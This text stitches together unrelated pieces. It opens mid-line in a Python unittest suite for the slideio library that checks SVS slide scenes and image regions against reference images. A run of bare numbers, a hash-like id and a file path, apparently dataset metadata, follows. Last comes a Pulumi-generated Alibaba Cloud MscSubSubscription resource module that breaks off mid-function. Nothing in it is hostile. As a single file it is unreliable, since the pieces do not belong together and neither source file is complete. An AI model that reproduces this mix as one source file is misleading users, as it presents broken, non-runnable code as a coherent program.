"Thumbnail", "Label", "Macro"] compression_types = [ slideio.Compression.Jpeg, slideio.Compression.Jpeg, slideio.Compression.LempelZivWelch, slideio.Compression.Jpeg ] scene_sizes = [ (2220, 2967), (574, 768), (387, 463), (1280, 431) ] scene_magnifications = [20., 0., 0., 0.] for scene_index in range(num_scenes): scene = slide.get_scene(scene_index) self.assertTrue(scene is not None) scene_rect = scene.rect scene_size = (scene_rect[2], scene_rect[3]) self.assertEqual(scene.name, scene_names[scene_index]) self.assertEqual(scene.compression, compression_types[scene_index]) self.assertEqual(scene.num_channels, 3) self.assertEqual(scene_size, scene_sizes[scene_index]) self.assertEqual(image_path, scene.file_path) self.assertEqual( scene_magnifications[scene_index], scene.magnification ) for channel_index in range(scene.num_channels): channel_type = scene.get_channel_data_type(channel_index) self.assertEqual(channel_type, np.uint8) # test scene resolutuion scene_resolutions = [0.4990e-6, 0, 0, 0] for scene_index in range(num_scenes): scene = slide.get_scene(scene_index) self.assertTrue(scene is not None) res = scene.resolution self.assertEqual( scene_resolutions[scene_index], pytest.approx(res[0]) ) self.assertEqual( scene_resolutions[scene_index], pytest.approx(res[1]) ) def test_file_rgb_metadata_pictures(self): """ Checks image metadata pictures. Opens 3 channel brightfield Jpeg commpressed file and checks metadata pictures agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) metadata_pic_paths = [ get_test_image_path( "svs", "CMU-1-Small-Region-page-0.tif" ), get_test_image_path( "svs", "CMU-1-Small-Region-page-1.tif" ), get_test_image_path( "svs", "CMU-1-Small-Region-page-2.tif" ), get_test_image_path( "svs", "CMU-1-Small-Region-page-3.tif" ), ] slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) for scene_index in range(1, num_scenes): scene = slide.get_scene(scene_index) self.assertTrue(scene is not None) scene_image = scene.read_block(channel_indices=[2, 1, 0]) reference_image = cv.imread( metadata_pic_paths[scene_index], cv.IMREAD_UNCHANGED ) self.assertEqual(scene_image.shape, reference_image.shape) def test_file_rgb_image(self): """ Checks image raster pictures. Opens 3 channel brightfield Jpeg commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) reference_image_path = get_test_image_path( "svs", "CMU-1-Small-Region-page-0.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) scene_image = scene.read_block() reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_image = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) self.assertEqual(scene_image.shape, reference_image.shape) self.assertTrue(np.array_equal(scene_image, reference_image)) def test_file_rgb_image_region(self): """ Checks reading of an image region. Opens 3 channel brightfield Jpeg commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) reference_image_path = get_test_image_path( "svs", "CMU-1-Small-Region-page-0.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 500 y_beg = 500 width = 600 height = 300 rect = (x_beg, y_beg, width, height) scene_image = scene.read_block(rect) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_image = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) x_end = x_beg + width y_end = y_beg + height reference_region = reference_image[y_beg:y_end, x_beg:x_end] self.assertEqual(scene_image.shape, reference_region.shape) self.assertTrue(np.array_equal(scene_image, reference_region)) def test_file_rgb_image_region_resizing(self): """ Checks reading of an image region with resizing. Opens 3 channel brightfield Jpeg commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) reference_image_path = get_test_image_path( "svs", "CMU-1-Small-Region-page-0.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 500 y_beg = 500 width = 600 height = 300 params = [ ((400, 200), (0.0011, 0.98)), ((200, 100), (0.012, 0.83)) ] rect = (x_beg, y_beg, width, height) x_end = x_beg + width y_end = y_beg + height reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_image = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) reference_image = reference_image[y_beg:y_end, x_beg:x_end] for param in params: size = param[0] cf_threshold = param[1][1] sq_threshold = param[1][0] scene_image = scene.read_block(rect, size=size) reference_region = cv.resize(reference_image, size) self.assertEqual(scene_image.shape, reference_region.shape) score_sq = cv.matchTemplate( scene_image, reference_region, cv.TM_SQDIFF_NORMED )[0][0] score_cf = cv.matchTemplate( scene_image, reference_region, cv.TM_CCOEFF_NORMED )[0][0] self.assertLess(score_sq, sq_threshold) self.assertLess(cf_threshold, score_cf) def test_file_rgb_image_channel_swap(self): """ Checks image raster pictures. Reads 3 channel brightfield Jpeg commpressed file with channel swaping and checks raster against extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) reference_image_path = get_test_image_path( "svs", "CMU-1-Small-Region-page-0.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) scene_image = scene.read_block( channel_indices=[2, 1, 0] ) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) self.assertEqual(scene_image.shape, reference_image.shape) self.assertTrue(np.array_equal(scene_image, reference_image)) def test_file_jp2k_image_region(self): """ Checks reading of an image region. Opens 3 channel brightfield Jpeg2K commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) reference_image_path = get_test_image_path( "svs", "JP2K-33003-1-region_x4000_y4000_w3000_h1500.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 4000 y_beg = 4000 width = 3000 height = 1500 rect = (x_beg, y_beg, width, height) scene_image = scene.read_block(rect) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_region = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) self.assertEqual(scene_image.shape, reference_region.shape) score_sq = cv.matchTemplate( scene_image, reference_region, cv.TM_SQDIFF_NORMED )[0][0] score_cf = cv.matchTemplate( scene_image, reference_region, cv.TM_CCOEFF_NORMED )[0][0] self.assertLess(score_sq, 0.00125) self.assertLess(0.99, score_cf) def test_file_jp2k_image_region_resize(self): """ Checks reading of an image region with resizing. Opens 3 channel brightfield Jpeg2K commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) reference_image_path = get_test_image_path( "svs", "JP2K-33003-1-region_x4000_y4000_w3000_h1500.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 4000 y_beg = 4000 width = 3000 height = 1500 rect = (x_beg, y_beg, width, height) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_image = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) scaling_params = [ (1.0, 0.99, 0.0013), (1.5, 0.93, 0.007), (2.0, 0.99, 0.0009), (3.0, 0.90, 0.01), (5.0, 0.84, 0.015) ] for param in scaling_params: scale = param[0] cf_threshold = param[1] sq_threshold = param[2] new_size = ( int(round(reference_image.shape[1]/scale)), int(round(reference_image.shape[0]/scale)) ) reference_region = cv.resize(reference_image, new_size) image_region = scene.read_block(rect, size=new_size) self.assertEqual(image_region.shape, reference_region.shape) score_sq = cv.matchTemplate( image_region, reference_region, cv.TM_SQDIFF_NORMED )[0][0] score_cf = cv.matchTemplate( image_region, reference_region, cv.TM_CCOEFF_NORMED )[0][0] self.assertLess(score_sq, sq_threshold) self.assertLess(cf_threshold, score_cf) def test_file_jp2k_image_region_resize_1channel(self): """ Checks reading of an image region with resizing. Read 1 channel region form brightfield Jpeg2K commpressed image and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) reference_image_path = get_test_image_path( "svs", "JP2K-33003-1-region_x4000_y4000_w3000_h1500.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 4000 y_beg = 4000 width = 3000 height = 1500 rect = (x_beg, y_beg, width, height) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) reference_image = cv.cvtColor(reference_image, cv.COLOR_BGR2RGB) reference_image = cv.extractChannel(reference_image, 1) scaling_params = [ (2.0, 0.99, 0.0009) ] for param in scaling_params: scale = param[0] cf_threshold = param[1] sq_threshold = param[2] new_size = ( int(round(reference_image.shape[1]/scale)), int(round(reference_image.shape[0]/scale)) ) reference_region = cv.resize(reference_image, new_size) image_region = scene.read_block( rect, size=new_size, channel_indices=[1] ) self.assertEqual(image_region.shape, reference_region.shape) score_sq = cv.matchTemplate( image_region, reference_region, cv.TM_SQDIFF_NORMED )[0][0] score_cf = cv.matchTemplate( image_region, reference_region, cv.TM_CCOEFF_NORMED )[0][0] self.assertLess(score_sq, sq_threshold) self.assertLess(cf_threshold, score_cf) def test_file_jp2k_image_region_resize_swap_channels(self): """ Checks reading of an image region with resizing. Opens 3 channel brightfield Jpeg2K commpressed file and checks raster agains extracted by a 3rd party tools pictures. """ image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) reference_image_path = get_test_image_path( "svs", "JP2K-33003-1-region_x4000_y4000_w3000_h1500.tif" ) slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) num_scenes = slide.num_scenes self.assertEqual(num_scenes, 4) scene = slide.get_scene(0) self.assertTrue(scene is not None) x_beg = 4000 y_beg = 4000 width = 3000 height = 1500 rect = (x_beg, y_beg, width, height) reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) scaling_params = [ (2.0, 0.99, 0.0009) ] for param in scaling_params: scale = param[0] cf_threshold = param[1] sq_threshold = param[2] new_size = ( int(round(reference_image.shape[1]/scale)), int(round(reference_image.shape[0]/scale)) ) reference_region = cv.resize(reference_image, new_size) image_region = scene.read_block( rect, size=new_size, channel_indices=[2, 1, 0] ) self.assertEqual(image_region.shape, reference_region.shape) score_sq = cv.matchTemplate( image_region, reference_region, cv.TM_SQDIFF_NORMED )[0][0] score_cf = cv.matchTemplate( image_region, reference_region, cv.TM_CCOEFF_NORMED )[0][0] self.assertLess(score_sq, sq_threshold) self.assertLess(cf_threshold, score_cf) def test_rgb_jpeg_regression(self): """ Regression test for rgb jpeg compressed image. Read the block from a slide and compares it with a reference image. The reference image is obtained by reading of the same region by the slideo and saving it as a png file. """ # Image to test image_path = get_test_image_path( "svs", "CMU-1-Small-Region.svs" ) # Image to test reference_image_path = get_test_image_path( "svs", "CMU-1-Small-Region.regression_x700_y400_w500_y400.png" ) # Read reference image reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) x_beg = 700 y_beg = 400 width = 500 height = 400 rect = (x_beg, y_beg, width, height) new_size = (100, 80) # open the slide slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) scene = slide.get_scene(0) self.assertTrue(scene is not None) block_raster = scene.read_block( rect, size=new_size ) self.assertTrue(np.array_equal(block_raster, reference_image)) def test_rgb_jp2k_regression(self): """ Regression test for rgb jp2k compressed image. Read the block from a slide and compares it with a reference image. The reference image is obtained by reading of the same region by the slideo and saving it as a png file. """ # Image to test image_path = get_test_image_path( "svs", "JP2K-33003-1.svs" ) # Image to test reference_image_path = get_test_image_path( "svs", "JP2K-33003-1.regression_x4000_y4000_w500_y400.png" ) # Read reference image reference_image = cv.imread( reference_image_path, cv.IMREAD_UNCHANGED ) x_beg = 4000 y_beg = 4000 width = 500 height = 400 rect = (x_beg, y_beg, width, height) new_size = (100, 80) # open the slide slide = slideio.open_slide(image_path, "SVS") self.assertTrue(slide is not None) scene = slide.get_scene(0) self.assertTrue(scene is not None) block_raster = scene.read_block( rect, size=new_size ) self.assertTrue(np.array_equal(block_raster, reference_image)) if __name__ == '__main__': unittest.main()
33.649513
79
0.565553
2,752
24,194
4.726744
0.082849
0.057426
0.039668
0.03567
0.917666
0.907903
0.887608
0.882764
0.871387
0.851937
0
0.040496
0.352897
24,194
718
80
33.696379
0.790368
0.10701
0
0.758497
0
0
0.049105
0.032354
0
0
0
0
0.152057
1
0.026834
false
0
0.010733
0
0.039356
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7a54e88b6108898427549aee2cea750ece7dc7e2
28,000
py
Python
sdk/python/pulumi_alicloud/msc_sub_subscription.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
42
2019-03-18T06:34:37.000Z
2022-03-24T07:08:57.000Z
sdk/python/pulumi_alicloud/msc_sub_subscription.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
152
2019-04-15T21:03:44.000Z
2022-03-29T18:00:57.000Z
sdk/python/pulumi_alicloud/msc_sub_subscription.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-26T17:30:07.000Z
2021-07-05T01:37:45.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import _utilities __all__ = ['MscSubSubscriptionArgs', 'MscSubSubscription'] @pulumi.input_type class MscSubSubscriptionArgs: def __init__(__self__, *, item_name: pulumi.Input[str], contact_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, email_status: Optional[pulumi.Input[int]] = None, pmsg_status: Optional[pulumi.Input[int]] = None, sms_status: Optional[pulumi.Input[int]] = None, tts_status: Optional[pulumi.Input[int]] = None, webhook_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, webhook_status: Optional[pulumi.Input[int]] = None): """ The set of arguments for constructing a MscSubSubscription resource. :param pulumi.Input[str] item_name: The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. :param pulumi.Input[Sequence[pulumi.Input[str]]] contact_ids: The ids of subscribed contacts. :param pulumi.Input[int] email_status: The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] pmsg_status: The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] sms_status: The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] tts_status: The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[Sequence[pulumi.Input[str]]] webhook_ids: The ids of subscribed webhooks. :param pulumi.Input[int] webhook_status: The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ pulumi.set(__self__, "item_name", item_name) if contact_ids is not None: pulumi.set(__self__, "contact_ids", contact_ids) if email_status is not None: pulumi.set(__self__, "email_status", email_status) if pmsg_status is not None: pulumi.set(__self__, "pmsg_status", pmsg_status) if sms_status is not None: pulumi.set(__self__, "sms_status", sms_status) if tts_status is not None: pulumi.set(__self__, "tts_status", tts_status) if webhook_ids is not None: pulumi.set(__self__, "webhook_ids", webhook_ids) if webhook_status is not None: pulumi.set(__self__, "webhook_status", webhook_status) @property @pulumi.getter(name="itemName") def item_name(self) -> pulumi.Input[str]: """ The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. """ return pulumi.get(self, "item_name") @item_name.setter def item_name(self, value: pulumi.Input[str]): pulumi.set(self, "item_name", value) @property @pulumi.getter(name="contactIds") def contact_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The ids of subscribed contacts. """ return pulumi.get(self, "contact_ids") @contact_ids.setter def contact_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "contact_ids", value) @property @pulumi.getter(name="emailStatus") def email_status(self) -> Optional[pulumi.Input[int]]: """ The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "email_status") @email_status.setter def email_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "email_status", value) @property @pulumi.getter(name="pmsgStatus") def pmsg_status(self) -> Optional[pulumi.Input[int]]: """ The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "pmsg_status") @pmsg_status.setter def pmsg_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "pmsg_status", value) @property @pulumi.getter(name="smsStatus") def sms_status(self) -> Optional[pulumi.Input[int]]: """ The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "sms_status") @sms_status.setter def sms_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "sms_status", value) @property @pulumi.getter(name="ttsStatus") def tts_status(self) -> Optional[pulumi.Input[int]]: """ The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "tts_status") @tts_status.setter def tts_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "tts_status", value) @property @pulumi.getter(name="webhookIds") def webhook_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The ids of subscribed webhooks. """ return pulumi.get(self, "webhook_ids") @webhook_ids.setter def webhook_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "webhook_ids", value) @property @pulumi.getter(name="webhookStatus") def webhook_status(self) -> Optional[pulumi.Input[int]]: """ The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "webhook_status") @webhook_status.setter def webhook_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "webhook_status", value) @pulumi.input_type class _MscSubSubscriptionState: def __init__(__self__, *, channel: Optional[pulumi.Input[str]] = None, contact_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, description: Optional[pulumi.Input[str]] = None, email_status: Optional[pulumi.Input[int]] = None, item_name: Optional[pulumi.Input[str]] = None, pmsg_status: Optional[pulumi.Input[int]] = None, sms_status: Optional[pulumi.Input[int]] = None, tts_status: Optional[pulumi.Input[int]] = None, webhook_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, webhook_status: Optional[pulumi.Input[int]] = None): """ Input properties used for looking up and filtering MscSubSubscription resources. :param pulumi.Input[str] channel: The channel the Subscription. :param pulumi.Input[Sequence[pulumi.Input[str]]] contact_ids: The ids of subscribed contacts. :param pulumi.Input[str] description: The description of the Subscription. :param pulumi.Input[int] email_status: The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[str] item_name: The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. :param pulumi.Input[int] pmsg_status: The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] sms_status: The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] tts_status: The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[Sequence[pulumi.Input[str]]] webhook_ids: The ids of subscribed webhooks. :param pulumi.Input[int] webhook_status: The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ if channel is not None: pulumi.set(__self__, "channel", channel) if contact_ids is not None: pulumi.set(__self__, "contact_ids", contact_ids) if description is not None: pulumi.set(__self__, "description", description) if email_status is not None: pulumi.set(__self__, "email_status", email_status) if item_name is not None: pulumi.set(__self__, "item_name", item_name) if pmsg_status is not None: pulumi.set(__self__, "pmsg_status", pmsg_status) if sms_status is not None: pulumi.set(__self__, "sms_status", sms_status) if tts_status is not None: pulumi.set(__self__, "tts_status", tts_status) if webhook_ids is not None: pulumi.set(__self__, "webhook_ids", webhook_ids) if webhook_status is not None: pulumi.set(__self__, "webhook_status", webhook_status) @property @pulumi.getter def channel(self) -> Optional[pulumi.Input[str]]: """ The channel the Subscription. """ return pulumi.get(self, "channel") @channel.setter def channel(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "channel", value) @property @pulumi.getter(name="contactIds") def contact_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The ids of subscribed contacts. """ return pulumi.get(self, "contact_ids") @contact_ids.setter def contact_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "contact_ids", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ The description of the Subscription. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter(name="emailStatus") def email_status(self) -> Optional[pulumi.Input[int]]: """ The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "email_status") @email_status.setter def email_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "email_status", value) @property @pulumi.getter(name="itemName") def item_name(self) -> Optional[pulumi.Input[str]]: """ The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. """ return pulumi.get(self, "item_name") @item_name.setter def item_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "item_name", value) @property @pulumi.getter(name="pmsgStatus") def pmsg_status(self) -> Optional[pulumi.Input[int]]: """ The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "pmsg_status") @pmsg_status.setter def pmsg_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "pmsg_status", value) @property @pulumi.getter(name="smsStatus") def sms_status(self) -> Optional[pulumi.Input[int]]: """ The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "sms_status") @sms_status.setter def sms_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "sms_status", value) @property @pulumi.getter(name="ttsStatus") def tts_status(self) -> Optional[pulumi.Input[int]]: """ The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "tts_status") @tts_status.setter def tts_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "tts_status", value) @property @pulumi.getter(name="webhookIds") def webhook_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The ids of subscribed webhooks. """ return pulumi.get(self, "webhook_ids") @webhook_ids.setter def webhook_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "webhook_ids", value) @property @pulumi.getter(name="webhookStatus") def webhook_status(self) -> Optional[pulumi.Input[int]]: """ The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ return pulumi.get(self, "webhook_status") @webhook_status.setter def webhook_status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "webhook_status", value) class MscSubSubscription(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, contact_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, email_status: Optional[pulumi.Input[int]] = None, item_name: Optional[pulumi.Input[str]] = None, pmsg_status: Optional[pulumi.Input[int]] = None, sms_status: Optional[pulumi.Input[int]] = None, tts_status: Optional[pulumi.Input[int]] = None, webhook_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, webhook_status: Optional[pulumi.Input[int]] = None, __props__=None): """ Provides a Msc Sub Subscription resource. > **NOTE:** Available in v1.135.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud example = alicloud.MscSubSubscription("example", email_status=1, item_name="Notifications of Product Expiration", pmsg_status=1, sms_status=1, tts_status=1, webhook_status=0) ``` ## Import Msc Sub Subscription can be imported using the id, e.g. ```sh $ pulumi import alicloud:index/mscSubSubscription:MscSubSubscription example <id> ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] contact_ids: The ids of subscribed contacts. :param pulumi.Input[int] email_status: The status of email subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[str] item_name: The name of the Subscription. **NOTE:** You should use the `getMscSubSubscriptions` to query the available subscription item name. :param pulumi.Input[int] pmsg_status: The status of pmsg subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] sms_status: The status of sms subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[int] tts_status: The status of tts subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. :param pulumi.Input[Sequence[pulumi.Input[str]]] webhook_ids: The ids of subscribed webhooks. :param pulumi.Input[int] webhook_status: The status of webhook subscription. Valid values: `-1`, `-2`, `0`, `1`. `-1` means required, `-2` means banned; `1` means subscribed; `0` means not subscribed. """ ... @overload def __init__(__self__, resource_name: str, args: MscSubSubscriptionArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a Msc Sub Subscription resource. > **NOTE:** Available in v1.135.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud example = alicloud.MscSubSubscription("example", email_status=1, item_name="Notifications of Product Expiration", pmsg_status=1, sms_status=1, tts_status=1, webhook_status=0) ``` ## Import Msc Sub Subscription can be imported using the id, e.g. ```sh $ pulumi import alicloud:index/mscSubSubscription:MscSubSubscription example <id> ``` :param str resource_name: The name of the resource. :param MscSubSubscriptionArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(MscSubSubscriptionArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, contact_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, email_status: Optional[pulumi.Input[int]] = None, item_name: Optional[pulumi.Input[str]] = None, pmsg_status: Optional[pulumi.Input[int]] = None, sms_status: Optional[pulumi.Input[int]] = None, tts_status: Optional[pulumi.Input[int]] = None, webhook_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, webhook_status: Optional[pulumi.Input[int]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = MscSubSubscriptionArgs.__new__(MscSubSubscriptionArgs) __props__.__dict__["contact_ids"] = contact_ids __props__.__dict__["email_status"] = email_status if item_name is None and not opts.urn: raise TypeError("Missing required property 'item_name'") __props__.__dict__["item_name"] = item_name __props__.__dict__["pmsg_status"] = pmsg_status __props__.__dict__["sms_status"] = sms_status __props__.__dict__["tts_status"] = tts_status __props__.__dict__["webhook_ids"] = webhook_ids __props__.__dict__["webhook_status"] = webhook_status __props__.__dict__["channel"] = None __props__.__dict__["description"] = None super(MscSubSubscription, __self__).__init__( 'alicloud:index/mscSubSubscription:MscSubSubscription', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: 